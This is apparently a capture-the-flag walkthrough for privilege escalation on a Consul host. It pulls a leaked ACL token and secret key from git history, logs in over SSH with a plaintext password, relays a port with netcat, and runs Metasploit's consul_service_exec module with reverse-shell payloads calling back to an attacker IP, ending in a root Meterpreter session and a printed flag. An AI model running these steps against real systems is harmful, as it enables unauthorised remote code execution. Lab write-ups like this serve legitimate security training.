Consul Privesc

Whackywidget

```
git log -S key
git diff-tree -p 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6

+# SECURITY WARNING: keep the secret key used in production secret!
+SECRET_KEY = 'django-insecure--lqw3fdyxw(28h#0(w8_te*wm*6ppl@g!ttcpo^m-
ig!qtqy!l'


git log -S token
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

git diff-tree -p 33a53ef9a207976d5ceceddc41a199558843bf3c
33a53ef9a207976d5ceceddc41a199558843bf3c
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-
in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help
set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5
whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD



#git diff 33a53ef9a207976d5ceceddc41a199558843bf3c
```

```
c982db8eff6f10f8f3a7d802f79f2705e7a21b55
```

```
sshpass -p 'anEnglishManInNewYork027468' ssh -D8080 developer@10.129.228.56
```

```
curl http://127.0.0.1:8500
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the
agent configuration and restart.
```

```
msf6 > use exploit/multi/misc/consul_service_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > show info

       Name: Hashicorp Consul Remote Command Execution via Services API
     Module: exploit/multi/misc/consul_service_exec
   Platform:
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-11

Provided by:
  Bharadwaj Machiraju <bharadwaj.machiraju@gmail.com>
  Francis Alexander <helofrancis@gmail.com >
  Quentin Kaiser <kaiserquentin@gmail.com>
  Matthew Lucas <mattglucas97@gmail.com>

Available targets:
  Id  Name
  --  ----
  0   Linux
  1   Windows

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  ACL_TOKEN                   no        Consul Agent ACL token
  Proxies                     no        A proxy chain of format
type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see
https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      8500             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface
to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
```

```
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing
connections
  SSLCert                     no        Path to a custom SSL certificate
(default is randomly generated)
  TARGETURI  /                yes       The base path
  URIPATH                     no        The URI to use for this exploit
(default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits Hashicorp Consul's services API to gain remote
  command execution on Consul nodes.

References:
  https://www.consul.io/api/agent/service.html
  https://github.com/torque59/Garfield


View the full module info with the info -d command.

msf6 exploit(multi/misc/consul_service_exec) > set rhosts 10.129.228.56
rhosts => 10.129.228.56
msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.49
lhost => 10.10.14.49
msf6 exploit(multi/misc/consul_service_exec) > set proxies
socks5:127.0.0.1:8080
proxies => socks5:127.0.0.1:8080
msf6 exploit(multi/misc/consul_service_exec) > set acl_token bb03b43b-1d81-
d62b-24b5-39540ee469b5
acl_token => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > set payload
linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp

msf6 exploit(multi/misc/consul_service_exec) > run

[-] Exploit failed: RuntimeError TCP connect-back payloads cannot be used
with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/consul_service_exec) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf6 exploit(multi/misc/consul_service_exec) > run

[*] Started reverse TCP handler on 10.10.14.49:4444
[*] Creating service 'ghFzncLV'
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo,
or similar instead. It will be removed in the next Major version
[-] Exploit aborted due to failure: unexpected-reply: An error occured when
```

```
contacting the Consul API.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/consul_service_exec) >
```

```
sshpass -p 'anEnglishManInNewYork027468' ssh -L 8500:10.10.14.49:8500
developer@10.129.228.56
```

SSH Forwards are broken for some reason.

Succesful attempt

```
sshpass -p 'anEnglishManInNewYork027468' ssh developer@10.129.228.56

nc -lp 8001 < fifo | nc 127.0.0.1 8500 > fifo
```

```
[*] Starting persistent handler(s)...
msf6 > use exploit/multi/misc/consul_service_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > set rport 8001
rport => 8001
msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.49
lhost => 10.10.14.49
msf6 exploit(multi/misc/consul_service_exec) > set acl_token bb03b43b-1d81-
d62b-24b5-39540ee469b5
acl_token => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > set rhosts 10.129.228.56
rhosts => 10.129.228.56
msf6 exploit(multi/misc/consul_service_exec) > run

[*] Started reverse TCP handler on 10.10.14.49:4444
[*] Creating service 'FZxsAX'
[*] Service 'FZxsAX' successfully created.
[*] Waiting for service 'FZxsAX' script to trigger
[*] Sending stage (1017704 bytes) to 10.129.228.56
[*] Meterpreter session 1 opened (10.10.14.49:4444 -> 10.129.228.56:40984)
at 2022-12-30 13:40:39 +0100
[*] Removing service 'FZxsAX'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter >

meterpreter > cat /root/root.txt
```

```
d52a6926727927f8ce2483977406b7e1
```